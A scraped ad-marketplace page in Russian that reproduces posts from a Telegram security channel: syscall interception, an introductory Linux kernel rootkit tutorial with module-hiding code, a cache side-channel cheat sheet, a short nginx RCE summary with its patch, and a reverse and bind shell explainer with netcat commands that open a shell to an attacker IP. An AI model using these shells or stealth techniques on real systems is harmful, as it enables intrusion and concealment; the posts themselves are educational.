
💸 Скидки до 70% для бизнеса и финансов
Ловите лучшие слоты в каналах бизнес-тематик — только до 6 апреля!
Забрать скидку

Купить рекламу в этом канале
Формат:
keyboard_arrow_down
- 1/24
- 2/48
- 3/72
- 7 дней
- Репост
1 час в топе / 24 часа в ленте
Количество:
keyboard_arrow_down
- 1
- 2
- 3
- 4
- 5
- 8
- 10
- 15
Стоимость публикации:
local_activity
7 272.72₽7 272.72₽local_mall
0.0%
Осталось по этой цене:0
Последние посты канала
imageИзображение не доступно для предпросмотра
🔒 Хотите увидеть, как эффективно защищать IT-инфраструктуру в реальном времени?
Присоединяйтесь к открытому уроку по Wazuh — инструменту, который объединяет мониторинг безопасности, анализ угроз и автоматизацию защиты в одном решении.
Интересуетесь SIEM? Мы разберем ключевые возможности Wazuh:
— как он отслеживает угрозы и аномалии,
— как проводит инвентаризацию, корреляцию и анализ уязвимостей,
— как работает с логами Windows и Linux,
— как интегрируется с другими ИБ-инструментами.
Ответим на ваши вопросы и разберем кейсы использования.
👨💻 После вебинара вы:
— получите чёткое представление о возможностях Wazuh,
— узнаете, где он максимально эффективен,
— поймёте, как его использовать в своих проектах.
Для кого: архитекторы ИБ и SOC, инженеры SIEM, руководители ИБ-подразделений.
Когда: 8 апреля в 20:00 мск
Бонус: участникам — скидка на курс «Специалист по внедрению SIEM»
👉 Зарегистрируйтесь по ссылке: https://vk.cc/cKpWZP
Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576
Присоединяйтесь к открытому уроку по Wazuh — инструменту, который объединяет мониторинг безопасности, анализ угроз и автоматизацию защиты в одном решении.
Интересуетесь SIEM? Мы разберем ключевые возможности Wazuh:
— как он отслеживает угрозы и аномалии,
— как проводит инвентаризацию, корреляцию и анализ уязвимостей,
— как работает с логами Windows и Linux,
— как интегрируется с другими ИБ-инструментами.
Ответим на ваши вопросы и разберем кейсы использования.
👨💻 После вебинара вы:
— получите чёткое представление о возможностях Wazuh,
— узнаете, где он максимально эффективен,
— поймёте, как его использовать в своих проектах.
Для кого: архитекторы ИБ и SOC, инженеры SIEM, руководители ИБ-подразделений.
Когда: 8 апреля в 20:00 мск
Бонус: участникам — скидка на курс «Специалист по внедрению SIEM»
👉 Зарегистрируйтесь по ссылке: https://vk.cc/cKpWZP
Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576
713
07:04
02.04.2025
Перехват системных вызовов
Иногда возникает необходимость узнать, какие системные вызовы выполняет программа, и, возможно, даже изменить поведение некоторых из них. Существует множество способов сделать это — от трассировки с помощью
LD_PRELOAD
Когда вы вызываете
Пример:
Компилируем:
Используем:
Теперь всякий раз, когда
seccomp
Если нужно перехватить системные вызовы на уровне ядра, можно использовать
Вот пример фильтра, который запрещает вызов
Вызовите
Заключение
LD_PRELOAD отлично подходит для тестирования и подмены поведения на уровне пользователя, в то время как
https://blog.mggross.com/intercepting-syscalls/
👉@thehaking
Иногда возникает необходимость узнать, какие системные вызовы выполняет программа, и, возможно, даже изменить поведение некоторых из них. Существует множество способов сделать это — от трассировки с помощью
strace
до написания собственного пользовательского ядра. В этом посте я покажу, как можно использовать LD_PRELOAD для перехвата вызовов libc
, которые в конечном итоге становятся системными вызовами, а также как использовать seccomp
для контроля за поведением на уровне ядра.LD_PRELOAD
Когда вы вызываете
open()
или read()
в C, вы на самом деле не делаете системный вызов напрямую. Вместо этого вы вызываете обёртку из libc
, которая вызывает syscall()
, который, в свою очередь, вызывает системный вызов. Это значит, что если мы можем внедрить свою собственную версию open()
до загрузки libc
, то наша функция будет вызвана первой.Пример:
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <fcntl.h>
int open(const char *pathname, int flags, mode_t mode) {
printf("Intercepted open: %s\n", pathname);
int (*original_open)(const char *, int, mode_t);
original_open = dlsym(RTLD_NEXT, "open");
return original_open(pathname, flags, mode);
}
Компилируем:
gcc -shared -fPIC intercept.c -o intercept.so -ldl
Используем:
LD_PRELOAD=./intercept.so ./some_binary
Теперь всякий раз, когда
some_binary
вызывает open()
, сначала будет вызвана наша функция.seccomp
Если нужно перехватить системные вызовы на уровне ядра, можно использовать
seccomp
. Это механизм фильтрации системных вызовов в Linux, который позволяет разрешить, отклонить или модифицировать поведение вызовов.Вот пример фильтра, который запрещает вызов
openat
:
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <unistd.h>
void install_filter() {
struct sock_filter filter[] = {
// Проверка: если syscall == openat, то отказ
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, SYS_openat, 0, 1),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
// В противном случае — разрешить
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
Вызовите
install_filter()
перед выполнением подозрительного кода — теперь любые попытки открыть файл через openat()
завершатся сбоем.Заключение
LD_PRELOAD отлично подходит для тестирования и подмены поведения на уровне пользователя, в то время как
seccomp
позволяет установить жесткие ограничения на уровне ядра. Оба метода мощные и полезные в зависимости от вашей цели — будь то отладка, аудит или sandboxing.https://blog.mggross.com/intercepting-syscalls/
👉@thehaking
892
05:37
01.04.2025
imageИзображение не доступно для предпросмотра
Искусство создания руткитов для ядра Linux
В этом посте мы рассмотрим базовую архитектуру руткитов для ядра Linux, а также разработаем простой модуль, который скрывает файлы, процессы и сетевые подключения.
1. Что такое руткит ядра?
Руткит ядра — это вредоносный модуль, работающий на уровне ядра, который может скрывать процессы, файлы, модули и сетевые соединения. Его основная задача — обеспечение скрытности: пользователь и системы безопасности не должны замечать его присутствия.
2. Подготовка окружения
Для разработки руткита необходимы:
- Ядро Linux (желательно в виртуальной машине)
- Установленные заголовки ядра (
- Компилятор
3. Простейший модуль ядра
Такой модуль можно собрать и загрузить с помощью
4. Сокрытие модулей
Для сокрытия модуля из списка
Это уберет модуль из
5. Сокрытие процессов
Процессы отображаются в
6. Сокрытие файлов
Файлы также можно скрывать, перехватывая системные вызовы
7. Сокрытие сетевых соединений
Сетевые подключения можно скрывать, модифицируя вывод
8. Детектирование и защита
Хотя руткиты могут быть крайне скрытными, их можно обнаружить:
- Сравнивая список модулей из
- Используя инструменты типа
- Сравнивая системные вызовы с эталонными
Этот пост — лишь введение. Реальные руткиты намного сложнее и используют продвинутые техники. Но теперь у вас есть представление, с чего начать.
https://inferi.club/post/the-art-of-linux-kernel-rootkits
👉@thehaking
В этом посте мы рассмотрим базовую архитектуру руткитов для ядра Linux, а также разработаем простой модуль, который скрывает файлы, процессы и сетевые подключения.
1. Что такое руткит ядра?
Руткит ядра — это вредоносный модуль, работающий на уровне ядра, который может скрывать процессы, файлы, модули и сетевые соединения. Его основная задача — обеспечение скрытности: пользователь и системы безопасности не должны замечать его присутствия.
2. Подготовка окружения
Для разработки руткита необходимы:
- Ядро Linux (желательно в виртуальной машине)
- Установленные заголовки ядра (
linux-headers
)- Компилятор
gcc
и инструменты сборки (make
)3. Простейший модуль ядра
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void) {
printk(KERN_INFO "Простой руткит загружен\n");
return 0;
}
void cleanup_module(void) {
printk(KERN_INFO "Простой руткит выгружен\n");
}
MODULE_LICENSE("GPL");
Такой модуль можно собрать и загрузить с помощью
insmod
. Он пока ничего не делает, но это основа.4. Сокрытие модулей
Для сокрытия модуля из списка
lsmod
можно удалить его из kobj
-структур ядра:
list_del(&__this_module.list);
kobject_del(&THIS_MODULE->mkobj.kobj);
Это уберет модуль из
/proc/modules
и /sys/module
.5. Сокрытие процессов
Процессы отображаются в
/proc
. Чтобы скрыть их, можно перехватить системные вызовы, например readdir
, и фильтровать каталоги, соответствующие PIDs.6. Сокрытие файлов
Файлы также можно скрывать, перехватывая системные вызовы
getdents
или getdents64
и фильтруя записи, содержащие определенные имена.7. Сокрытие сетевых соединений
Сетевые подключения можно скрывать, модифицируя вывод
/proc/net/tcp
и других файлов, перехватывая seq_show
функции.8. Детектирование и защита
Хотя руткиты могут быть крайне скрытными, их можно обнаружить:
- Сравнивая список модулей из
/proc/modules
и dmesg
- Используя инструменты типа
rkhunter
, chkrootkit
- Сравнивая системные вызовы с эталонными
Этот пост — лишь введение. Реальные руткиты намного сложнее и используют продвинутые техники. Но теперь у вас есть представление, с чего начать.
https://inferi.club/post/the-art-of-linux-kernel-rootkits
👉@thehaking
979
11:58
31.03.2025
Шпаргалка по кэш-атакам через процессы (Cross-Process Cache Attack)
Cross-Cache Attacks — это типы атак стороннего канала, использующие поведение процессорного кэша для извлечения секретных данных. Такие атаки часто задействуют манипуляции с TLB (Translation Lookaside Buffer), кэшами инструкций и данных.
Примеры атак
1. Prime+Probe
- Атакующий «заполняет» кэш своими данными (prime).
- Ждет, пока жертва выполнит инструкции.
- Потом проверяет, были ли вытеснены его данные из кэша (probe).
- Может использоваться без доступа к адресному пространству жертвы.
2. Flush+Reload
- Используется, когда атакующий и жертва разделяют память (например, общие библиотеки).
- Атакующий очищает кэш (flush) для определённого адреса.
- После действий жертвы проверяет, был ли адрес перезагружен в кэш (reload).
- Требует высокого разрешения таймеров.
3. Evict+Time
- Атакующий вытесняет данные из кэша.
- Измеряет время выполнения функции у жертвы.
- Разница во времени может указать на использование кэша.
Защита от атак
- Отключение или изоляция общих библиотек.
- Использование тайминг-рандомизации.
- Очистка кэшей при переключении контекста.
- Ограничение доступа к высокоточным таймерам.
- Использование аппаратной изоляции (например, Intel CAT/MBM).
https://u1f383.github.io/linux/2025/01/03/cross-cache-attack-cheatsheet.html
👉@thehaking
Cross-Cache Attacks — это типы атак стороннего канала, использующие поведение процессорного кэша для извлечения секретных данных. Такие атаки часто задействуют манипуляции с TLB (Translation Lookaside Buffer), кэшами инструкций и данных.
Примеры атак
1. Prime+Probe
- Атакующий «заполняет» кэш своими данными (prime).
- Ждет, пока жертва выполнит инструкции.
- Потом проверяет, были ли вытеснены его данные из кэша (probe).
- Может использоваться без доступа к адресному пространству жертвы.
2. Flush+Reload
- Используется, когда атакующий и жертва разделяют память (например, общие библиотеки).
- Атакующий очищает кэш (flush) для определённого адреса.
- После действий жертвы проверяет, был ли адрес перезагружен в кэш (reload).
- Требует высокого разрешения таймеров.
3. Evict+Time
- Атакующий вытесняет данные из кэша.
- Измеряет время выполнения функции у жертвы.
- Разница во времени может указать на использование кэша.
Защита от атак
- Отключение или изоляция общих библиотек.
- Использование тайминг-рандомизации.
- Очистка кэшей при переключении контекста.
- Ограничение доступа к высокоточным таймерам.
- Использование аппаратной изоляции (например, Intel CAT/MBM).
https://u1f383.github.io/linux/2025/01/03/cross-cache-attack-cheatsheet.html
👉@thehaking
1200
02:34
31.03.2025
Подборка Telegram каналов для программистов
https://t.me/bash_srv Bash Советы
https://t.me/win_sysadmin Системный Администратор Windows
https://t.me/lifeproger Жизнь программиста. Авторский канал.
https://t.me/devopslib Библиотека девопса | DevOps, SRE, Sysadmin
https://t.me/rabota1C_rus Вакансии для программистов 1С
Системное администрирование 📌
https://t.me/sysadmin_girl Девочка Сисадмин
https://t.me/srv_admin_linux Админские угодья
https://t.me/linux_srv Типичный Сисадмин
https://t.me/linux_odmin Linux: Системный администратор
https://t.me/devops_star DevOps Star (Звезда Девопса)
https://t.me/i_linux Системный администратор
https://t.me/linuxchmod Linux
https://t.me/sys_adminos Системный Администратор
https://t.me/tipsysdmin Типичный Сисадмин (фото железа, было/стало)
https://t.me/sysadminof Книги для админов, полезные материалы
https://t.me/i_odmin Все для системного администратора
https://t.me/i_odmin_book Библиотека Системного Администратора
https://t.me/i_odmin_chat Чат системных администраторов
https://t.me/i_DevOps DevOps: Пишем о Docker, Kubernetes и др.
https://t.me/sysadminoff Новости Линукс Linux
1C разработка 📌
https://t.me/odin1C_rus Cтатьи, курсы, советы, шаблоны кода 1С
https://t.me/DevLab1C 1С:Предприятие 8
Программирование C++📌
https://t.me/cpp_lib Библиотека C/C++ разработчика
https://t.me/cpp_knigi Книги для программистов C/C++
https://t.me/cpp_geek Учим C/C++ на примерах
Программирование Python 📌
https://t.me/pythonofff Python академия. Учи Python быстро и легко🐍
https://t.me/BookPython Библиотека Python разработчика
https://t.me/python_real Python подборки на русском и английском
https://t.me/python_360 Книги по Python Rus
Java разработка 📌
https://t.me/BookJava Библиотека Java разработчика
https://t.me/java_360 Книги по Java Rus
https://t.me/java_geek Учим Java на примерах
GitHub Сообщество 📌
https://t.me/Githublib Интересное из GitHub
Базы данных (Data Base) 📌
https://t.me/database_info Все про базы данных
Мобильная разработка: iOS, Android 📌
https://t.me/developer_mobila Мобильная разработка
https://t.me/kotlin_lib Подборки полезного материала по Kotlin
Фронтенд разработка 📌
https://t.me/frontend_1 Подборки для frontend разработчиков
https://t.me/frontend_sovet Frontend советы, примеры и практика!
https://t.me/React_lib Подборки по React js и все что с ним связано
Разработка игр 📌
https://t.me/game_devv Все о разработке игр
Библиотеки 📌
https://t.me/book_for_dev Книги для программистов Rus
https://t.me/programmist_of Книги по программированию
https://t.me/proglb Библиотека программиста
https://t.me/bfbook Книги для программистов
https://t.me/books_reserv Книги для программистов
БигДата, машинное обучение 📌
https://t.me/bigdata_1 Data Science, Big Data, Machine Learning, Deep Learning
Программирование 📌
https://t.me/bookflow Лекции, видеоуроки, доклады с IT конференций
https://t.me/coddy_academy Полезные советы по программированию
https://t.me/rust_lib Полезный контент по программированию на Rust
https://t.me/golang_lib Библиотека Go (Golang) разработчика
https://t.me/itmozg Программисты, дизайнеры, новости из мира IT
https://t.me/php_lib Библиотека PHP программиста 👨🏼💻👩💻
https://t.me/nodejs_lib Подборки по Node js и все что с ним связано
https://t.me/ruby_lib Библиотека Ruby программиста
QA, тестирование 📌
https://t.me/testlab_qa Библиотека тестировщика
Шутки программистов 📌
https://t.me/itumor Шутки программистов
Защита, взлом, безопасность 📌
https://t.me/thehaking Канал о кибербезопасности
https://t.me/xakep_2 Хакер Free
Книги, статьи для дизайнеров 📌
https://t.me/ux_web Статьи, книги для дизайнеров
Математика 📌
https://t.me/Pomatematike Канал по математике
https://t.me/phis_mat Обучающие видео, книги по Физике и Математике
Excel лайфхак📌
https://t.me/Excel_lifehack
https://t.me/tikon_1 Новости высоких технологий, науки и техники💡
https://t.me/mir_teh Мир технологий (Technology World)
Вакансии 📌
https://t.me/sysadmin_rabota Системный Администратор
https://t.me/progjob Вакансии в IT
https://t.me/bash_srv Bash Советы
https://t.me/win_sysadmin Системный Администратор Windows
https://t.me/lifeproger Жизнь программиста. Авторский канал.
https://t.me/devopslib Библиотека девопса | DevOps, SRE, Sysadmin
https://t.me/rabota1C_rus Вакансии для программистов 1С
Системное администрирование 📌
https://t.me/sysadmin_girl Девочка Сисадмин
https://t.me/srv_admin_linux Админские угодья
https://t.me/linux_srv Типичный Сисадмин
https://t.me/linux_odmin Linux: Системный администратор
https://t.me/devops_star DevOps Star (Звезда Девопса)
https://t.me/i_linux Системный администратор
https://t.me/linuxchmod Linux
https://t.me/sys_adminos Системный Администратор
https://t.me/tipsysdmin Типичный Сисадмин (фото железа, было/стало)
https://t.me/sysadminof Книги для админов, полезные материалы
https://t.me/i_odmin Все для системного администратора
https://t.me/i_odmin_book Библиотека Системного Администратора
https://t.me/i_odmin_chat Чат системных администраторов
https://t.me/i_DevOps DevOps: Пишем о Docker, Kubernetes и др.
https://t.me/sysadminoff Новости Линукс Linux
1C разработка 📌
https://t.me/odin1C_rus Cтатьи, курсы, советы, шаблоны кода 1С
https://t.me/DevLab1C 1С:Предприятие 8
Программирование C++📌
https://t.me/cpp_lib Библиотека C/C++ разработчика
https://t.me/cpp_knigi Книги для программистов C/C++
https://t.me/cpp_geek Учим C/C++ на примерах
Программирование Python 📌
https://t.me/pythonofff Python академия. Учи Python быстро и легко🐍
https://t.me/BookPython Библиотека Python разработчика
https://t.me/python_real Python подборки на русском и английском
https://t.me/python_360 Книги по Python Rus
Java разработка 📌
https://t.me/BookJava Библиотека Java разработчика
https://t.me/java_360 Книги по Java Rus
https://t.me/java_geek Учим Java на примерах
GitHub Сообщество 📌
https://t.me/Githublib Интересное из GitHub
Базы данных (Data Base) 📌
https://t.me/database_info Все про базы данных
Мобильная разработка: iOS, Android 📌
https://t.me/developer_mobila Мобильная разработка
https://t.me/kotlin_lib Подборки полезного материала по Kotlin
Фронтенд разработка 📌
https://t.me/frontend_1 Подборки для frontend разработчиков
https://t.me/frontend_sovet Frontend советы, примеры и практика!
https://t.me/React_lib Подборки по React js и все что с ним связано
Разработка игр 📌
https://t.me/game_devv Все о разработке игр
Библиотеки 📌
https://t.me/book_for_dev Книги для программистов Rus
https://t.me/programmist_of Книги по программированию
https://t.me/proglb Библиотека программиста
https://t.me/bfbook Книги для программистов
https://t.me/books_reserv Книги для программистов
БигДата, машинное обучение 📌
https://t.me/bigdata_1 Data Science, Big Data, Machine Learning, Deep Learning
Программирование 📌
https://t.me/bookflow Лекции, видеоуроки, доклады с IT конференций
https://t.me/coddy_academy Полезные советы по программированию
https://t.me/rust_lib Полезный контент по программированию на Rust
https://t.me/golang_lib Библиотека Go (Golang) разработчика
https://t.me/itmozg Программисты, дизайнеры, новости из мира IT
https://t.me/php_lib Библиотека PHP программиста 👨🏼💻👩💻
https://t.me/nodejs_lib Подборки по Node js и все что с ним связано
https://t.me/ruby_lib Библиотека Ruby программиста
QA, тестирование 📌
https://t.me/testlab_qa Библиотека тестировщика
Шутки программистов 📌
https://t.me/itumor Шутки программистов
Защита, взлом, безопасность 📌
https://t.me/thehaking Канал о кибербезопасности
https://t.me/xakep_2 Хакер Free
Книги, статьи для дизайнеров 📌
https://t.me/ux_web Статьи, книги для дизайнеров
Математика 📌
https://t.me/Pomatematike Канал по математике
https://t.me/phis_mat Обучающие видео, книги по Физике и Математике
Excel лайфхак📌
https://t.me/Excel_lifehack
https://t.me/tikon_1 Новости высоких технологий, науки и техники💡
https://t.me/mir_teh Мир технологий (Technology World)
Вакансии 📌
https://t.me/sysadmin_rabota Системный Администратор
https://t.me/progjob Вакансии в IT
1300
14:31
29.03.2025
play_circleВидео недоступно для предпросмотра
🔴 Reverse Shell
- 1. Атакующий запускает listener на своём устройстве (
- 2. Жертва (машина 10.10.10.20) получает вредоносный payload, который инициирует исходящее соединение на IP атакующего (10.10.10.10) и указанный порт.
- 3. После установления соединения атакующий получает удалённый доступ к командной оболочке жертвы.
📌 Пример команды на жертве:
🔵 Bind Shell
- 1. Жертва запускает listener на своей машине (например,
- 2. Атакующий (10.10.10.10) подключается к этому открытому порту (
- 3. После подключения атакующий получает доступ к оболочке.
📌 Пример команды на жертве:
👉@thehaking
- 1. Атакующий запускает listener на своём устройстве (
nc -lvnp 4444
).- 2. Жертва (машина 10.10.10.20) получает вредоносный payload, который инициирует исходящее соединение на IP атакующего (10.10.10.10) и указанный порт.
- 3. После установления соединения атакующий получает удалённый доступ к командной оболочке жертвы.
📌 Пример команды на жертве:
nc 10.10.10.10 4444 -e /bin/bash
🔵 Bind Shell
- 1. Жертва запускает listener на своей машине (например,
nc -lvnp 4444 -e /bin/bash
).- 2. Атакующий (10.10.10.10) подключается к этому открытому порту (
nc 10.10.10.20 4444
).- 3. После подключения атакующий получает доступ к оболочке.
📌 Пример команды на жертве:
nc -lvnp 4444 -e /bin/bash
👉@thehaking
2000
21:02
26.03.2025
imageИзображение не доступно для предпросмотра
💥 RCE в ngx_http_lua_module через AIXCC
Недавно я обнаружил способ удаленного выполнения кода (RCE) в Nginx, использующем
🔍 Предпосылки
Я пытался динамически скомпилировать
🛠 Суть уязвимости
🔥 Эксплуатация
Можно сконфигурировать модуль так, чтобы он обращался к произвольным путям на файловой системе. В случае, если есть возможность загрузить произвольный Lua-скрипт или использовать
🛡 Решение
Патч был предложен и принят в OpenResty: теперь используется
📎 Вывод
Если вы используете Nginx с динамически подключаемыми модулями и
https://roundofthree.github.io/posts/nginx-aixcc-pwn/
👉@thehaking
Недавно я обнаружил способ удаленного выполнения кода (RCE) в Nginx, использующем
ngx_http_lua_module
. Уязвимость вызвана тем, как модуль работает с префиксами путей, когда Nginx собран с --with-compat
и использует --add-dynamic-module
.🔍 Предпосылки
Я пытался динамически скомпилировать
ngx_http_lua_module
и подключить его к Nginx, собранному с --with-compat
, чтобы проверить, как он себя поведет. В процессе нашел интересную особенность: ngx_http_lua_module
использует переменную ngx_prefix
, но эта переменная не всегда корректно инициализируется в динамических модулях.🛠 Суть уязвимости
ngx_http_lua_module
использует ngx_prefix
для построения путей к временным файлам и другим ресурсам. Однако, если модуль подключен динамически, переменная ngx_prefix
может быть NULL
, что приводит к потенциальному RCE через манипуляцию путями.🔥 Эксплуатация
Можно сконфигурировать модуль так, чтобы он обращался к произвольным путям на файловой системе. В случае, если есть возможность загрузить произвольный Lua-скрипт или использовать
lua_code_cache off
, это может привести к выполнению произвольного кода.🛡 Решение
Патч был предложен и принят в OpenResty: теперь используется
ngx_cycle->prefix.data
, если ngx_prefix
не инициализирован. Рекомендуется обновиться до последней версии или вручную применить патч. Также стоит избегать загрузки Lua из непроверенных источников и включать lua_code_cache
.📎 Вывод
Если вы используете Nginx с динамически подключаемыми модулями и
ngx_http_lua_module
, обязательно проверьте конфигурацию и примените обновление. Уязвимость достаточно серьезная для эксплуатации в реальных условиях.https://roundofthree.github.io/posts/nginx-aixcc-pwn/
👉@thehaking
💥 RCE в ngx_http_lua_module через AIXCC
Недавно я обнаружил способ удаленного выполнения кода (RCE) в Nginx, использующем
🔍 Предпосылки
Я пытался динамически скомпилировать
🛠 Суть уязвимости
🔥 Эксплуатация
Можно сконфигурировать модуль так, чтобы он обращался к произвольным путям на файловой системе. В случае, если есть возможность загрузить произвольный Lua-скрипт или использовать
🛡 Решение
Патч был предложен и принят в OpenResty: теперь используется
📎 Вывод
Если вы используете Nginx с динамически подключаемыми модулями и
https://roundofthree.github.io/posts/nginx-aixcc-pwn/
👉@thehaking
Недавно я обнаружил способ удаленного выполнения кода (RCE) в Nginx, использующем
ngx_http_lua_module
. Уязвимость вызвана тем, как модуль работает с префиксами путей, когда Nginx собран с --with-compat
и использует --add-dynamic-module
.🔍 Предпосылки
Я пытался динамически скомпилировать
ngx_http_lua_module
и подключить его к Nginx, собранному с --with-compat
, чтобы проверить, как он себя поведет. В процессе нашел интересную особенность: ngx_http_lua_module
использует переменную ngx_prefix
, но эта переменная не всегда корректно инициализируется в динамических модулях.🛠 Суть уязвимости
ngx_http_lua_module
использует ngx_prefix
для построения путей к временным файлам и другим ресурсам. Однако, если модуль подключен динамически, переменная ngx_prefix
может быть NULL
, что приводит к потенциальному RCE через манипуляцию путями.🔥 Эксплуатация
Можно сконфигурировать модуль так, чтобы он обращался к произвольным путям на файловой системе. В случае, если есть возможность загрузить произвольный Lua-скрипт или использовать
lua_code_cache off
, это может привести к выполнению произвольного кода.🛡 Решение
Патч был предложен и принят в OpenResty: теперь используется
ngx_cycle->prefix.data
, если ngx_prefix
не инициализирован. Рекомендуется обновиться до последней версии или вручную применить патч. Также стоит избегать загрузки Lua из непроверенных источников и включать lua_code_cache
.📎 Вывод
Если вы используете Nginx с динамически подключаемыми модулями и
ngx_http_lua_module
, обязательно проверьте конфигурацию и примените обновление. Уязвимость достаточно серьезная для эксплуатации в реальных условиях.https://roundofthree.github.io/posts/nginx-aixcc-pwn/
👉@thehaking
2100
05:32
25.03.2025
imageИзображение не доступно для предпросмотра
Введение в реверс-инжиниринг встроенных устройств для начинающих
Ghidra setup: https://voidstarsec.com/blog/ghidra-dev-environment
Tools: https://voidstarsec.com/blog/intro-to-embedded-part-1
Firmware extraction: https://voidstarsec.com/blog/uart-uboot-and-usb
👉@thehaking
Ghidra setup: https://voidstarsec.com/blog/ghidra-dev-environment
Tools: https://voidstarsec.com/blog/intro-to-embedded-part-1
Firmware extraction: https://voidstarsec.com/blog/uart-uboot-and-usb
👉@thehaking
2300
15:25
23.03.2025
imageИзображение не доступно для предпросмотра
🚀 Хотите стать лидером в кибербезопасности? Управляйте рисками, защищайте данные и создавайте надежные стратегии информационной безопасности на курсе CISO от OTUS!
📅 Старт курса уже скоро! 27 марта!
⏳ Длительность: 4 месяца
📍 Формат: Онлайн
💡 Для кого этот курс?
✔️ Специалистов по информационной безопасности
✔️ Руководителей и ИТ-менеджеров
✔️ Консультантов и аудиторов в сфере ИБ
✔️ Разработчиков, стремящихся к карьерному росту
🔎 Что вы получите?
✅ Глубокое понимание киберугроз и защиты данных.
✅ Развитие лидерских навыков и управление командами.
✅ Освоение стратегического планирования и бюджетирования ИБ.
✅ Работа с международными стандартами (ISO 27001/27002).
✅ Практическую разработку стратегии кибербезопасности.
👨🏫 Обучение у экспертов-практиков!
📌 Интерактивные вебинары с преподавателями
📌 Домашние задания с обратной связью
📌 Доступ к записям занятий навсегда
📌 Реальные кейсы и выпускной проект
🔥 Готовы прокачать свои навыки в ИБ?
Присоединяйтесь к курсу и станьте экспертом в защите информации!
https://vk.cc/cJN8D6
Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576
📅 Старт курса уже скоро! 27 марта!
⏳ Длительность: 4 месяца
📍 Формат: Онлайн
💡 Для кого этот курс?
✔️ Специалистов по информационной безопасности
✔️ Руководителей и ИТ-менеджеров
✔️ Консультантов и аудиторов в сфере ИБ
✔️ Разработчиков, стремящихся к карьерному росту
🔎 Что вы получите?
✅ Глубокое понимание киберугроз и защиты данных.
✅ Развитие лидерских навыков и управление командами.
✅ Освоение стратегического планирования и бюджетирования ИБ.
✅ Работа с международными стандартами (ISO 27001/27002).
✅ Практическую разработку стратегии кибербезопасности.
👨🏫 Обучение у экспертов-практиков!
📌 Интерактивные вебинары с преподавателями
📌 Домашние задания с обратной связью
📌 Доступ к записям занятий навсегда
📌 Реальные кейсы и выпускной проект
🔥 Готовы прокачать свои навыки в ИБ?
Присоединяйтесь к курсу и станьте экспертом в защите информации!
https://vk.cc/cJN8D6
Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576
2900
09:30
17.03.2025
imageИзображение не доступно для предпросмотра
Введение в фаззинг ядра Linux и исследование уязвимостей
Part 1: https://slavamoskvin.com/hunting-bugs-in-linux-kernel-with-kasan-how-to-use-it-whats-the-benefit/
Part 2: https://slavamoskvin.com/finding-bugs-in-kernel.-part-1-crashing-a-vulnerable-driver-with-syzkaller/
Part 3: https://slavamoskvin.com/finding-bugs-in-kernel.-part-2-fuzzing-the-actual-kernel/
👉@thehaking
Part 1: https://slavamoskvin.com/hunting-bugs-in-linux-kernel-with-kasan-how-to-use-it-whats-the-benefit/
Part 2: https://slavamoskvin.com/finding-bugs-in-kernel.-part-1-crashing-a-vulnerable-driver-with-syzkaller/
Part 3: https://slavamoskvin.com/finding-bugs-in-kernel.-part-2-fuzzing-the-actual-kernel/
👉@thehaking
2400
08:00
17.03.2025
close
С этим каналом часто покупают
Отзывы канала
keyboard_arrow_down
- Добавлен: Сначала новые
- Добавлен: Сначала старые
- Оценка: По убыванию
- Оценка: По возрастанию
5.0
5 отзыва за 6 мес.
Превосходно (100%) За последние 6 мес
c
**debycodeby@******.ru
на сервисе с февраля 2025
13.03.202517:48
5
Четкое соблюдение ТЗ
Показать еще
Новинки в тематике
Лучшие в тематике
Выбрано
0
каналов на сумму:0.00₽
Подписчики:
0
Просмотры:
lock_outline
Перейти в корзинуКупить за:0.00₽
Комментарий